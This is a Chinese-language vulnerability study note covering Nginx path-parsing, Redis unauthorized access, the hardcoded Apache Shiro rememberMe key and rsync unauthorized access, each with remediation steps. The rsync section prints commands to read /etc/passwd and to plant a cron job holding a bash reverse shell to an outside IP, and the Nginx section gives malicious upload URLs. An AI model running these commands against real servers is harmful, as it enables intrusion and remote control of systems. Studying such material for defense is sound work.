1.nginx解析漏洞
原理:
由于Nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://liuwx.cn/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),(其中test.png是我们上传的包含PHP代码的照片文件),test.png/.php可能会被当作php代码执行。
对低版本的Nginx(Nginx0.5,0.6以及0.7 ⇐ 0.7.65,0.8 ⇐ 0.8.37)可以在任意文件名后面添加%00.php进行解析攻击
例:
http://www.xxx.com/xx.jpg%00.php中会将xx.jpg当作php文件解析
攻击的前提是
cgi.fix_pathinfo=1,该值是默认为1,表示开启,位置/etc/php5/fpm/php.ini
对文件路径进行修理,当php文件不存在时,会找上一级,进行解析,如果还是找不到,继续找,http://liuwx.cn/test.png/.php,这个就是找png进行解析
http://www.xxx.com/1.jpg/a.php
修复后的页面是
修复:
-
将php.ini文件中的cgi.fix_pathinfo的值设为0。这样php在解析1.jpg/1.php这样的目录时,只要1.php不存在就会显示404。
-
将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions后面的值设为.php。只解析后缀是php
Redis 4.x/5.x 未授权访问漏洞
漏洞产生原因
Redis默认使用6379端口
,并且Redis默认是空密码并且默认允许远程连接
。一些管理员在安装好Redis之后,并没有修改它的默认端口
。而且也没有设置密码
的话,黑客就可以通过Redis数据库写入任意文件进行提权
,从而操控该服务器。
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式
加载远程模块,通过动态链接库
的方式执行任意命令
。
利用漏洞的三种方法
- 写shell
- 写计划任务反弹shell
- 导入ssh密钥
加固
- 更新服务至最新版本,完成漏洞的修复
- 添加防火墙规则避免非信任ip访问
- 设置密码,不要太简单了
- 更改端口
Shiro 默认密钥
Apache Shiro默认使用了CookieRememberMeManager
,用户登录成功后会生成经过加密并编码的cookie
,cookie解码的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化
。然而AES的密钥是硬编码
(硬编码数据通常只能通过编辑源代码和重新编译可执行文件来修改)的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
低版本rememberMe=deleteMe
1.8.0版本,尝试访问系统进行登录,抓包获取参数特征,包含xxx_rememberMe=deleteMe
字段
注意
在Shiro1.4.2版本后
,Shiro的加密模式由AES-CBC更换为 AES-GCM
,Shiro高版本下的漏洞利用,就需要考虑加密模式变化
的情况。另外,这里cookie传递的参数是自定义的
,而不是常见的rememberMe,这也是需要注意的地方。
修复
- 升级shiro至最新版本
- 一定要注意生成新的密钥替换
rsync未授权访问
rsync是Linux下一款数据备份工具
,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码
,我们将可以读写目标服务器文件
。
判断:rsync rsync://123.58.224.8:40894/
利用:
-读取文件:rsync rsync://123.58.224.8:40894/src/
-下载文件:rsync rsync://123.58.224.8:12018/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://123.58.224.8:40894/src/tmp/passwd
查看/tmp目录里的文件,后面有`/`
rsync rsync://123.58.224.8:40894/src/tmp/
出现下面这样的就是有漏洞
还可以将定时任务传到/src/etc/cron.hourly
例如:
将下面的反弹写入定时任务里
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell
修复
- 正确配置认证用户名或者密码
- 使用足够但最小权限
- host allow/deny 来控制接入源IP
- 可以配置只读
- 非必要应该仅限制配置路径下可访问
参考文章
Nginx文件解析漏洞
Nginx-解析漏洞
Shiro高版本默认密钥的漏洞利用
vulhub之rsync未授权访问漏洞复现&利用